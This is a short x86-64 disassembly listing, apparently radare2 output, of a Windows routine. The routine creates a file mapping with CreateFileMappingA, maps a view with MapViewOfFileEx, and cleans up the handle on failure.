mov ecx, dword [rsp + 0x40]
shr rax, 0x20
mov dword [rsp + 0x20], ecx
mov rcx, rbx
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rcx, rax
mov qword [rdi + 0x10], rax
test rax, rax
jne 0x14001324e
call fcn.140011100
jmp 0x1400132b6
test rsi, rsi
jne 0x140013261
mov rax, qword [rsp + 0x40]
sub rax, rbp
mov qword [rdi + 8], rax
jmp 0x140013265
mov qword [rdi + 8], rsi
mov edx, dword [rsp + 0x68]
mov rax, qword [rdi + 8]
mov qword [rdi + 0x18], rbp
mov r8d, dword [rdi + 0x1c]
mov r9d, ebp
mov qword [rsp + 0x28], 0
mov dword [rdi + 0x20], edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov qword [rdi], rax
test rax, rax
jne 0x1400132b4
call fcn.140011100
mov rcx, qword [rdi + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 0x10], 0
mov eax, ebx
jmp 0x1400132b6
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret